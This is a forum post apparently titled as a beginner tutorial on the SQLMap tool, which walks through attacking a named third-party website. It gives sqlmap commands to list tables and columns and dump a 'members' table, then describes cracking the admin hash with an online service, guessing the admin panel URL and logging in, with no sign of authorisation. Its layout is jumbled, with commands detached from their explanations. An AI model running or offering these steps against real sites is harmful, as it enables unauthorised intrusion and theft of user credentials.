Members Login
Username 
 
Password 
    Remember Me  
Post Info TOPIC: What is SQLMap and how to use it.


Senior Member

Status: Offline
Posts: 317
Date:
What is SQLMap and how to use it.
Permalink Closed


SQLMap SQLMap is a tool used to detect SQL injection vulnerabilities and gain access to the database by exploiting these vulnerabilities. Now let's take a look at how it is used. Our target site -> How to link to our articles SQLMap Installation Before moving on to its use, let's briefly show the SQLMap installation.

kpangd4.png









Code:
sudo apt-get install sqlmap


The SQLMap Usage

sqlmap -u "http://www.thepurrcompany.com/cat-articles/linking-info.php?id=7" --tables --answers="*"

-u parameter refers to the url,-uafter the parameter we enter the url we want to be scanned.

--tablesIf the scan is successful, we want it to print the tables in the database it obtains.

--answers="*"We answer yes to all questions.

After the scan, we found the tables. There is a striking table here, the members table. Now let's look at the columns in this table.We use the parameter to see the columns in the table.The parameter means table, next to it we write the table whose columns we want to see.instead to see the data inside the columns. Now that we have a hashed password and username, let's try to crack the hash.By chance, I managed to crack the hash using Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online site. I type admin at the end of the target url and by chance I find the admin panel. All that remains is to log in using the password and username. And I'm inside . That's all I had to say. I hope it was a useful topic. By the way, sqlmap is a matter of luck, it doesn't work every time, you need to have some luck.

q99uy4z.png

sqlmap -u "http://www.thepurrcompany.com/cat-articles/linking-info.php?id=7" --columns -T members

--columns

-T

abtvr5v.png

--columns--dump

sqlmap -u "http://www.thepurrcompany.com/cat-articles/linking-info.php?id=7" --dump -T members

32xx7fv.png





gth7ngx.png



24bksv0.png



4lg1d6f.png

 

 

writen by cYber-coder



__________________
Page 1 of 1  sorted by
 
Quick Reply

Please log in to post quick replies.

Tweet this page Post to Digg Post to Del.icio.us


Create your own FREE Forum
Report Abuse
Powered by ActiveBoard